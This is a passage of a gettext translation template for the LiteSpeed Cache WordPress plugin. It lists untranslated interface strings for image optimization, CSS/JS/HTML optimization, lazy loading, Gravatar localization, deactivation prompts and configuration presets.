#: tpl/img_optm/settings.tpl.php:104
msgid "No sizes found."
msgstr ""

#: tpl/img_optm/settings.tpl.php:107
msgid "Choose which image sizes to optimize."
msgstr ""

#: tpl/img_optm/settings.tpl.php:120
msgid "Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing."
msgstr ""

#: tpl/img_optm/settings.tpl.php:121
msgid "This will increase the size of optimized files."
msgstr ""

#: tpl/img_optm/settings.tpl.php:149
msgid "Specify which element attributes will be replaced with WebP/AVIF."
msgstr ""

#: tpl/img_optm/settings.tpl.php:165
msgid "Enable replacement of WebP/AVIF in %s elements that were generated outside of WordPress logic."
msgstr ""

#: tpl/img_optm/summary.tpl.php:58
msgid "Optimize images with our QUIC.cloud server"
msgstr ""

#: tpl/img_optm/summary.tpl.php:63
msgid "You can request a maximum of %s images at once."
msgstr ""

#: tpl/img_optm/summary.tpl.php:68
msgid "To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited."
msgstr ""

#: tpl/img_optm/summary.tpl.php:69
msgid "Current limit is"
msgstr ""

#: tpl/img_optm/summary.tpl.php:77
#: tpl/page_optm/settings_css.tpl.php:156
#: tpl/page_optm/settings_css.tpl.php:293
#: tpl/page_optm/settings_vpi.tpl.php:101
msgid "Available after %d second(s)"
msgstr ""

#: tpl/img_optm/summary.tpl.php:93
msgid "Only press the button if the pull cron job is disabled."
msgstr ""

#: tpl/img_optm/summary.tpl.php:93
msgid "Images will be pulled automatically if the cron job is running."
msgstr ""

#: tpl/img_optm/summary.tpl.php:102
msgid "Pull Images"
msgstr ""

#: tpl/img_optm/summary.tpl.php:108
msgid "Optimization Status"
msgstr ""

#: tpl/img_optm/summary.tpl.php:141
msgid "After the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images."
msgstr ""

#: tpl/img_optm/summary.tpl.php:142
msgid "This process is automatic."
msgstr ""

#: tpl/img_optm/summary.tpl.php:156
msgid "Last pull initiated by cron at %s."
msgstr ""

#: tpl/img_optm/summary.tpl.php:184
msgid "Storage Optimization"
msgstr ""

#: tpl/img_optm/summary.tpl.php:188
msgid "A backup of each image is saved before it is optimized."
msgstr ""

#: tpl/img_optm/summary.tpl.php:194
msgid "Last calculated"
msgstr ""

#: tpl/img_optm/summary.tpl.php:198
#: tpl/img_optm/summary.tpl.php:256
msgid "Files"
msgstr ""

#: tpl/img_optm/summary.tpl.php:208
msgid "Calculate Original Image Storage"
msgstr ""

#: tpl/img_optm/summary.tpl.php:217
msgid "Calculate Backups Disk Space"
msgstr ""

#: tpl/img_optm/summary.tpl.php:224
msgid "Image Thumbnail Group Sizes"
msgstr ""

#: tpl/img_optm/summary.tpl.php:241
msgid "Delete all backups of the original images"
msgstr ""

#: tpl/img_optm/summary.tpl.php:253
#: tpl/page_optm/settings_localization.tpl.php:61
msgid "Last ran"
msgstr ""

#: tpl/img_optm/summary.tpl.php:259
msgid "Saved"
msgstr ""

#: tpl/img_optm/summary.tpl.php:264
msgid "Are you sure you want to remove all image backups?"
msgstr ""

#: tpl/img_optm/summary.tpl.php:265
msgid "Remove Original Image Backups"
msgstr ""

#: tpl/img_optm/summary.tpl.php:276
msgid "Image Information"
msgstr ""

#: tpl/img_optm/summary.tpl.php:285
msgid "Image groups total"
msgstr ""

#: tpl/img_optm/summary.tpl.php:289
msgid "Congratulations, all gathered!"
msgstr ""

#: tpl/img_optm/summary.tpl.php:291
msgid "What is a group?"
msgstr ""

#: tpl/img_optm/summary.tpl.php:293
msgid "What is an image group?"
msgstr ""

#: tpl/img_optm/summary.tpl.php:297
#: tpl/img_optm/summary.tpl.php:372
msgid "Current image post id position"
msgstr ""

#: tpl/img_optm/summary.tpl.php:298
msgid "Maximum image post id"
msgstr ""

#: tpl/img_optm/summary.tpl.php:304
msgid "Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests."
msgstr ""

#: tpl/img_optm/summary.tpl.php:305
msgid "Rescan New Thumbnails"
msgstr ""

#: tpl/img_optm/summary.tpl.php:313
msgid "Optimization Summary"
msgstr ""

#: tpl/img_optm/summary.tpl.php:325
msgid "Last Pulled"
msgstr ""

#. translators: %s: Link tags
#: tpl/img_optm/summary.tpl.php:337
msgid "Results can be checked in %sMedia Library%s."
msgstr ""

#: tpl/img_optm/summary.tpl.php:347
msgid "Optimization Tools"
msgstr ""

#: tpl/img_optm/summary.tpl.php:350
msgid "You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available."
msgstr ""

#: tpl/img_optm/summary.tpl.php:355
msgid "Use original images (unoptimized) on your site"
msgstr ""

#: tpl/img_optm/summary.tpl.php:356
msgid "Use Original Files"
msgstr ""

#: tpl/img_optm/summary.tpl.php:359
msgid "Switch back to using optimized images on your site"
msgstr ""

#: tpl/img_optm/summary.tpl.php:360
msgid "Use Optimized Files"
msgstr ""

#: tpl/img_optm/summary.tpl.php:372
msgid "This will reset the %1$s. If you changed WebP/AVIF settings and want to generate %2$s for the previously optimized images, use this action."
msgstr ""

#: tpl/img_optm/summary.tpl.php:377
msgid "Are you sure to destroy all optimized images?"
msgstr ""

#: tpl/img_optm/summary.tpl.php:382
msgid "Remove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files."
msgstr ""

#: tpl/inc/admin_footer.php:17
msgid "Rate %1$s on %2$s"
msgstr ""

#: tpl/inc/admin_footer.php:19
msgid "Read LiteSpeed Documentation"
msgstr ""

#: tpl/inc/admin_footer.php:21
msgid "Visit LSCWP support forum"
msgstr ""

#: tpl/inc/admin_footer.php:23
msgid "Join LiteSpeed Slack community"
msgstr ""

#: tpl/inc/check_cache_disabled.php:20
msgid "To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN."
msgstr ""

#: tpl/inc/check_cache_disabled.php:25
msgid "Please enable the LSCache Module at the server level, or ask your hosting provider."
msgstr ""

#: tpl/inc/check_cache_disabled.php:31
msgid "Please enable LiteSpeed Cache in the plugin settings."
msgstr ""

#: tpl/inc/check_cache_disabled.php:40
msgid "LSCache caching functions on this page are currently unavailable!"
msgstr ""

#: tpl/inc/check_if_network_disable_all.php:30
msgid "The network admin selected use primary site configs for all subsites."
msgstr ""

#: tpl/inc/check_if_network_disable_all.php:31
msgid "The following options are selected, but are not editable in this settings page."
msgstr ""

#: tpl/inc/in_upgrading.php:15
msgid "LiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade."
msgstr ""

#: tpl/inc/modal.deactivation.php:22
msgid "The deactivation is temporary"
msgstr ""

#: tpl/inc/modal.deactivation.php:28
msgid "Site performance is worse"
msgstr ""

#: tpl/inc/modal.deactivation.php:33
msgid "Plugin is too complicated"
msgstr ""

#: tpl/inc/modal.deactivation.php:38
msgid "Other"
msgstr ""

#: tpl/inc/modal.deactivation.php:47
msgid "Why are you deactivating the plugin?"
msgstr ""

#: tpl/inc/modal.deactivation.php:60
msgid "On uninstall, all plugin settings will be deleted."
msgstr ""

#: tpl/inc/modal.deactivation.php:68
msgid "If you have used Image Optimization, please %sDestroy All Optimization Data%s first. NOTE: this does not remove your optimized images."
msgstr ""

#: tpl/inc/modal.deactivation.php:76
msgid "Deactivate"
msgstr ""

#: tpl/inc/modal.deactivation.php:76
msgid "Deactivate plugin"
msgstr ""

#: tpl/inc/modal.deactivation.php:77
msgid "Close popup"
msgstr ""

#: tpl/inc/show_display_installed.php:26
msgid "LiteSpeed Cache plugin is installed!"
msgstr ""

#: tpl/inc/show_display_installed.php:27
msgid "This message indicates that the plugin was installed by the server admin."
msgstr ""

#: tpl/inc/show_display_installed.php:28
msgid "The LiteSpeed Cache plugin is used to cache pages - a simple way to improve the performance of the site."
msgstr ""

#: tpl/inc/show_display_installed.php:29
msgid "However, there is no way of knowing all the possible customizations that were implemented."
msgstr ""

#: tpl/inc/show_display_installed.php:30
msgid "For that reason, please test the site to make sure everything still functions properly."
msgstr ""

#: tpl/inc/show_display_installed.php:31
msgid "Examples of test cases include:"
msgstr ""

#: tpl/inc/show_display_installed.php:32
msgid "Visit the site while logged out."
msgstr ""

#: tpl/inc/show_display_installed.php:33
msgid "Create a post, make sure the front page is accurate."
msgstr ""

#. translators: %s: Link tags
#: tpl/inc/show_display_installed.php:37
msgid "If there are any questions, the team is always happy to answer any questions on the %ssupport forum%s."
msgstr ""

#: tpl/inc/show_display_installed.php:41
msgid "If you would rather not move at litespeed, you can deactivate this plugin."
msgstr ""

#: tpl/inc/show_error_cookie.php:16
msgid "NOTICE: Database login cookie did not match your login cookie."
msgstr ""

#: tpl/inc/show_error_cookie.php:18
msgid "If the login cookie was recently changed in the settings, please log out and back in."
msgstr ""

#: tpl/inc/show_error_cookie.php:21
msgid "If not, please verify the setting in the %sAdvanced tab%s."
msgstr ""

#: tpl/inc/show_error_cookie.php:27
msgid "If using OpenLiteSpeed, the server must be restarted once for the changes to take effect."
msgstr ""

#: tpl/inc/show_rule_conflict.php:16
msgid "Unexpected cache rule %2$s found in %1$s file. This rule may cause visitors to see old versions of pages due to the browser caching HTML pages. If you are sure that HTML pages are not being browser cached, this message can be dismissed. (%3$sLearn More%4$s)"
msgstr ""

#: tpl/optimax/entry.tpl.php:16
msgid "OptimaX Summary"
msgstr ""

#: tpl/optimax/entry.tpl.php:17
#: tpl/optimax/entry.tpl.php:22
#: tpl/optimax/settings.tpl.php:19
msgid "OptimaX Settings"
msgstr ""

#: tpl/optimax/entry.tpl.php:30
msgid "LiteSpeed Cache OptimaX"
msgstr ""

#: tpl/optimax/settings.tpl.php:34
msgid "Turn on OptimaX. This will automatically request your pages OptimaX result via cron job."
msgstr ""

#: tpl/page_optm/entry.tpl.php:16
#: tpl/page_optm/settings_css.tpl.php:31
msgid "CSS Settings"
msgstr ""

#: tpl/page_optm/entry.tpl.php:17
#: tpl/page_optm/settings_js.tpl.php:17
msgid "JS Settings"
msgstr ""

#: tpl/page_optm/entry.tpl.php:18
#: tpl/page_optm/settings_html.tpl.php:17
msgid "HTML Settings"
msgstr ""

#: tpl/page_optm/entry.tpl.php:19
#: tpl/page_optm/settings_media.tpl.php:26
msgid "Media Settings"
msgstr ""

#: tpl/page_optm/entry.tpl.php:20
msgid "VPI"
msgstr ""

#: tpl/page_optm/entry.tpl.php:21
#: tpl/page_optm/settings_media_exc.tpl.php:17
msgid "Media Excludes"
msgstr ""

#: tpl/page_optm/entry.tpl.php:22
msgid "Localization"
msgstr ""

#: tpl/page_optm/entry.tpl.php:31
msgid "LiteSpeed Cache Page Optimization"
msgstr ""

#: tpl/page_optm/entry.tpl.php:43
msgid "Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:46
msgid "Minify CSS files and inline CSS code."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:60
msgid "Combine CSS files and inline CSS code."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:61
#: tpl/page_optm/settings_js.tpl.php:48
msgid "How to Fix Problems Caused by CSS/JS Optimization."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:82
msgid "Use QUIC.cloud online service to generate unique CSS."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:83
msgid "This will drop the unused CSS on each page from the combined file."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:85
msgid "Automatic generation of unique CSS is in the background via a cron-based queue."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:87
msgid "Filter %s available for UCSS per page type generation."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:93
msgid "This option is bypassed because %1$s option is %2$s."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:102
#: tpl/page_optm/settings_css.tpl.php:239
#: tpl/page_optm/settings_media.tpl.php:188
#: tpl/page_optm/settings_vpi.tpl.php:53
msgid "Last generated"
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:105
#: tpl/page_optm/settings_css.tpl.php:242
msgid "Last requested cost"
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:117
#: tpl/page_optm/settings_css.tpl.php:254
#: tpl/page_optm/settings_vpi.tpl.php:65
msgid "URL list in %s queue waiting for cron"
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:118
#: tpl/page_optm/settings_css.tpl.php:255
#: tpl/page_optm/settings_media.tpl.php:201
#: tpl/page_optm/settings_vpi.tpl.php:66
msgid "Clear"
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:155
#: tpl/page_optm/settings_css.tpl.php:160
#: tpl/page_optm/settings_css.tpl.php:292
#: tpl/page_optm/settings_css.tpl.php:297
#: tpl/page_optm/settings_vpi.tpl.php:100
#: tpl/page_optm/settings_vpi.tpl.php:105
msgid "Run %s Queue Manually"
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:178
msgid "Inline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:181
msgid "This option will automatically bypass %s option."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:195
msgid "Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:215
msgid "Optimize CSS delivery."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:216
#: tpl/page_optm/settings_html.tpl.php:175
#: tpl/page_optm/settings_js.tpl.php:81
msgid "This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:217
msgid "Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:219
msgid "Automatic generation of critical CSS is in the background via a cron-based queue."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:220
msgid "When this option is turned %s, it will also load Google Fonts asynchronously."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:224
msgid "Elements with attribute %s in HTML code will be excluded."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:230
msgid "This option is bypassed due to %s option."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:314
msgid "Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:327
msgid "This will inline the asynchronous CSS library to avoid render blocking."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:338
msgid "Default"
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:340
msgid "Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:341
msgid "%s is recommended."
msgstr ""

#: tpl/page_optm/settings_css.tpl.php:341
msgid "Swap"
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:31
msgid "Minify HTML content."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:44
msgid "Prefetching DNS can reduce latency for visitors."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:45
#: tpl/page_optm/settings_html.tpl.php:76
msgid "For example"
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:60
msgid "Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:61
msgid "This can improve the page loading speed."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:75
msgid "Preconnecting speeds up future loads from a given origin."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:91
msgid "Delay rendering off-screen HTML elements by its selector."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:106
msgid "When minifying HTML do not discard comments that match a specified pattern."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:108
msgid "If comment to be kept is like: %1$s write: %2$s"
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:123
msgid "Remove query strings from internal static resources."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:127
msgid "Google reCAPTCHA will be bypassed automatically."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:132
msgid "Append query string %s to the resources to bypass this action."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:146
msgid "Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:147
msgid "This will also add a preconnect to Google Fonts to establish a connection earlier."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:161
msgid "Prevent Google Fonts from loading on all pages."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:174
msgid "Stop loading WordPress.org emoji. Browser default emoji will be displayed instead."
msgstr ""

#: tpl/page_optm/settings_html.tpl.php:188
msgid "This option will remove all %s tags from HTML."
msgstr ""

#: tpl/page_optm/settings_js.tpl.php:33
msgid "Minify JS files and inline JS codes."
msgstr ""

#: tpl/page_optm/settings_js.tpl.php:47
msgid "Combine all local JS files into a single file."
msgstr ""

#: tpl/page_optm/settings_js.tpl.php:51
#: tpl/page_optm/settings_js.tpl.php:85
msgid "This option may result in a JS error or layout issue on frontend pages with certain themes/plugins."
msgstr ""

#: tpl/page_optm/settings_js.tpl.php:52
msgid "JS error can be found from the developer console of browser by right clicking and choosing Inspect."
msgstr ""

#: tpl/page_optm/settings_js.tpl.php:66
msgid "Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine."
msgstr ""

#: tpl/page_optm/settings_js.tpl.php:77
msgid "Deferred"
msgstr ""

#: tpl/page_optm/settings_js.tpl.php:77
msgid "Delayed"
msgstr ""

#: tpl/page_optm/settings_js.tpl.php:79
msgid "Deferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric)."
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:22
msgid "Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup."
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:27
msgid "Localization Settings"
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:40
msgid "Store Gravatar locally."
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:41
msgid "Accelerates the speed by caching Gravatar (Globally Recognized Avatars)."
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:54
msgid "Refresh Gravatar cache by cron."
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:67
msgid "Avatar list in queue waiting for update"
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:72
#: tpl/page_optm/settings_media.tpl.php:218
msgid "Run Queue Manually"
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:89
msgid "Specify how long, in seconds, Gravatar files are cached."
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:104
msgid "Localize external resources."
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:108
msgid "Please thoroughly test all items in %s to ensure they function as expected."
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:130
msgid "Resources listed here will be copied and replaced with local URLs."
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:131
msgid "HTTPS sources only."
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:135
msgid "Comments are supported. Start a line with a %s to turn it into a comment line."
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:137
#: tpl/toolbox/beta_test.tpl.php:49
msgid "Example"
msgstr ""

#: tpl/page_optm/settings_localization.tpl.php:141
msgid "Please thoroughly test each JS file you add to ensure it functions as expected."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:40
msgid "Load images only when they enter the viewport."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:41
#: tpl/page_optm/settings_media.tpl.php:235
msgid "This can improve page loading time by reducing initial HTTP requests."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:45
msgid "Adding Style to Your Lazy-Loaded Images"
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:59
msgid "Specify a base64 image to be used as a simple placeholder while images finish loading."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:60
msgid "This can be predefined in %2$s as well using constant %1$s, with this setting taking priority."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:61
msgid "By default a gray image placeholder %s will be used."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:62
msgid "For example, %s can be used for a transparent placeholder."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:76
msgid "Responsive image placeholders can help to reduce layout reshuffle when images are loaded."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:77
msgid "This will generate the placeholder with same dimensions as the image if it has the width and height attributes."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:90
msgid "Specify an SVG to be used as a placeholder when generating locally."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:91
msgid "It will be converted to a base64 SVG placeholder on-the-fly."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:92
msgid "Variables %s will be replaced with the corresponding image properties."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:93
msgid "Variables %s will be replaced with the configured background color."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:107
msgid "Specify the responsive placeholder SVG color."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:122
msgid "Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:123
msgid "Keep this off to use plain color placeholders."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:137
msgid "Specify the quality when generating LQIP."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:138
msgid "Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:141
msgid "Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:154
msgid "pixels"
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:156
msgid "LQIP requests will not be sent for images where both width and height are smaller than these dimensions."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:172
msgid "Automatically generate LQIP in the background via a cron-based queue."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:175
msgid "If set to %1$s, before the placeholder is localized, the %2$s configuration will be used."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:180
msgid "If set to %s this is done in the foreground, which may slow down page load."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:200
msgid "Size list in queue waiting for cron"
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:234
msgid "Load iframes only when they enter the viewport."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:248
msgid "Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric)."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:259
msgid "Use %1$s to bypass remote image dimension check when %2$s is ON."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:274
msgid "The image compression quality setting of WordPress out of 100."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:289
msgid "Automatically replace large images with scaled versions."
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:290
msgid "Scaled size threshold"
msgstr ""

#: tpl/page_optm/settings_media.tpl.php:296
msgid "Filter %s available to change threshold."
msgstr ""

#: tpl/page_optm/settings_media_exc.tpl.php:31
msgid "Listed images will not be lazy loaded."
msgstr ""

#: tpl/page_optm/settings_media_exc.tpl.php:34
msgid "Useful for above-the-fold images causing CLS (a Core Web Vitals metric)."
msgstr ""

#: tpl/page_optm/settings_media_exc.tpl.php:38
#: tpl/page_optm/settings_tuning.tpl.php:70
#: tpl/page_optm/settings_tuning.tpl.php:91
#: tpl/page_optm/settings_tuning.tpl.php:112
#: tpl/page_optm/settings_tuning_css.tpl.php:37
msgid "Elements with attribute %s in html code will be excluded."
msgstr ""

#: tpl/page_optm/settings_media_exc.tpl.php:60
msgid "Images containing these class names will not be lazy loaded."
msgstr ""

#: tpl/page_optm/settings_media_exc.tpl.php:75
msgid "Images having these parent class names will not be lazy loaded."
msgstr ""

#: tpl/page_optm/settings_media_exc.tpl.php:89
msgid "Iframes containing these class names will not be lazy loaded."
msgstr ""

#: tpl/page_optm/settings_media_exc.tpl.php:104
msgid "Iframes having these parent class names will not be lazy loaded."
msgstr ""

#: tpl/page_optm/settings_media_exc.tpl.php:118
msgid "Prevent any lazy load of listed pages."
msgstr ""

#: tpl/page_optm/settings_media_exc.tpl.php:132
msgid "These images will not generate LQIP."
msgstr ""

#: tpl/page_optm/settings_tuning.tpl.php:43
msgid "Listed JS files or inline JS code will be delayed."
msgstr ""

#: tpl/page_optm/settings_tuning.tpl.php:63
msgid "Listed JS files or inline JS code will not be minified or combined."
msgstr ""

#: tpl/page_optm/settings_tuning.tpl.php:71
#: tpl/page_optm/settings_tuning.tpl.php:92
msgid "Predefined list will also be combined with the above settings."
msgstr ""

#: tpl/page_optm/settings_tuning.tpl.php:85
msgid "Listed JS files or inline JS code will not be deferred or delayed."
msgstr ""

#: tpl/page_optm/settings_tuning.tpl.php:106
msgid "Listed JS files or inline JS code will not be optimized by %s."
msgstr ""

#: tpl/page_optm/settings_tuning.tpl.php:126
msgid "Prevent any optimization of listed pages."
msgstr ""

#: tpl/page_optm/settings_tuning.tpl.php:144
msgid "Only optimize pages for guest (not logged in) visitors. If turned this OFF, CSS/JS/CCSS files will be doubled by each user group."
msgstr ""

#: tpl/page_optm/settings_tuning.tpl.php:156
msgid "Selected roles will be excluded from all optimizations."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:17
msgid "Tuning CSS Settings"
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:31
msgid "Listed CSS files or inline CSS code will not be minified or combined."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:38
msgid "Predefined list will also be combined with the above settings"
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:52
msgid "Listed CSS files will be excluded from UCSS and saved to inline."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:67
msgid "List the CSS selectors whose styles should always be included in UCSS."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:70
#: tpl/page_optm/settings_tuning_css.tpl.php:145
msgid "Wildcard %s supported."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:74
msgid "The selector must exist in the CSS. Parent classes in the HTML will not work."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:92
msgid "Listed URI will not generate UCSS."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:99
msgid "Use %1$s to generate one single UCSS for the pages which page type is %2$s while other page types still per URL."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:100
msgid "Use %1$s to bypass UCSS for the pages which page type is %2$s."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:113
msgid "List post types where each item of that type should have its own CCSS generated."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:114
msgid "For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:128
msgid "Separate critical CSS files will be generated for paths containing these strings."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:142
msgid "List the CSS selectors whose styles should always be included in CCSS."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:149
msgid "Selectors must exist in the CSS. Parent classes in the HTML will not work."
msgstr ""

#: tpl/page_optm/settings_tuning_css.tpl.php:167
msgid "Specify critical CSS rules for above-the-fold content when enabling %s."
msgstr ""

#: tpl/page_optm/settings_vpi.tpl.php:37
msgid "When you use Lazy Load, it will delay the loading of all images on a page."
msgstr ""

#: tpl/page_optm/settings_vpi.tpl.php:38
msgid "The Viewport Images service detects which images appear above the fold, and excludes them from lazy load."
msgstr ""

#: tpl/page_optm/settings_vpi.tpl.php:39
msgid "This enables the page's initial screenful of imagery to be fully displayed without delay."
msgstr ""

#: tpl/page_optm/settings_vpi.tpl.php:122
msgid "Enable Viewport Images auto generation cron."
msgstr ""

#: tpl/presets/entry.tpl.php:16
msgid "Standard Presets"
msgstr ""

#: tpl/presets/entry.tpl.php:17
#: tpl/toolbox/entry.tpl.php:20
msgid "Import / Export"
msgstr ""

#: tpl/presets/entry.tpl.php:23
msgid "LiteSpeed Cache Configuration Presets"
msgstr ""

#: tpl/presets/standard.tpl.php:17
msgid "Essentials"
msgstr ""

#: tpl/presets/standard.tpl.php:19
msgid "Default Cache"
msgstr ""

#: tpl/presets/standard.tpl.php:20
msgid "Higher TTL"
msgstr ""

#: tpl/presets/standard.tpl.php:24
msgid "This no-risk preset is appropriate for all websites. Good for new users, simple websites, or cache-oriented development."
msgstr ""

#: tpl/presets/standard.tpl.php:25
msgid "A QUIC.cloud connection is not required to use this preset. Only basic caching features are enabled."
msgstr ""

#: tpl/presets/standard.tpl.php:29
#: tpl/toolbox/settings-debug.tpl.php:117
msgid "Basic"
msgstr ""

#: tpl/presets/standard.tpl.php:31
msgid "Everything in Essentials, Plus"
msgstr ""

#: tpl/presets/standard.tpl.php:33
msgid "Mobile Cache"
msgstr ""

#: tpl/presets/standard.tpl.php:36
msgid "This low-risk preset introduces basic optimizations for speed and user experience. Appropriate for enthusiastic beginners."
msgstr ""

#: tpl/presets/standard.tpl.php:37
msgid "A QUIC.cloud connection is required to use this preset. Includes optimizations known to improve site score in page speed measurement tools."
msgstr ""

#: tpl/presets/standard.tpl.php:41
msgid "Advanced (Recommended)"
msgstr ""

#: tpl/presets/standard.tpl.php:43
msgid "Everything in Basic, Plus"
msgstr ""

#: tpl/presets/standard.tpl.php:44
msgid "Guest Mode and Guest Optimization"
msgstr ""

#: tpl/presets/standard.tpl.php:45
msgid "CSS, JS and HTML Minification"
msgstr ""

